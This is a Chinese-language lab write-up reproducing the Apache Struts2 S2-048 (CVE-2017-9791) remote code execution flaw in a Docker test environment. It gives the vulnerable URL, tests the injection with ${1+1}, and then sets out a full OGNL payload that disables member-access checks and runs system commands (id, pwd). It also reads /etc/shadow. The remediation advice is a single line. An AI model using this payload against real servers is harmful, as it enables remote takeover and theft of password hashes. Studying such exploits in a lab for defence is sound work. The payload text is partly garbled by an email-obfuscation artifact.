一、漏洞介绍
0x1 漏洞背景
2017年7月7日,ApacheStruts 发布最新的安全公告,Apache Struts2的strus1插件存在远程代码执行的高危漏洞,漏洞编号为 CVE-2017-9791(S2-048)。攻击者可以构造恶意的字段值通过Struts2的struts2-struts1-plugin插件,远程执行代码。
0x2 漏洞产生条件
Apache Struts2 2.3.x 系列启用了struts2-struts1-plugin 插件并且存在 struts2-showcase 目录,其漏洞成因是当ActionMessage接收客户可控的参数数据时,由于后续数据拼接传递后处理不当导致任意代码执行
0x3 漏洞影响
Apache Struts 2.3.x系列中启用了struts2-struts1-plugin插件的版本。
二、漏洞复现
1.打开ubunut,使用里面的漏洞环境Struts2 S2-048
2.命令行输入: docker-compose up -d 开启 Struts2 S2-048 漏洞环境,然后查看7001和8080端口是否开启
3.浏览器打开测试界面
http://192.168.74.138:8080/integration/editGangster.action
需要用8080端口访问
先输入${1+1}以查看执行结果
可以看到页面回显2,输入1=1的逻辑正确,证明存在远程代码执行的高危漏洞
4.poc验证
根据官网说明,漏洞产生的原因是将用户可控的值添加到 ActionMessage 并在客户前端展示,导致其进入 getText 函数,最后 message 被当作 ognl 表达式执行
Poc:
%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):
((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm)))).
(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec('id 语句插入处').getIn
putStream())).(#q)
id处为插入攻击语句的位置
接着把pwd注入语句中
%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):
((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm)))).
(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec('pwd').getIn
putStream())).(#q)
成功获取到了当前的路径
接着测试是否能够读取系统敏感数据
使用cat /etc/shadow来测试
成功读取
到此,Struts2 S2-048远程代码执行漏洞复现成功
解决方法
建议Apache Struts2 套件升级到最新版本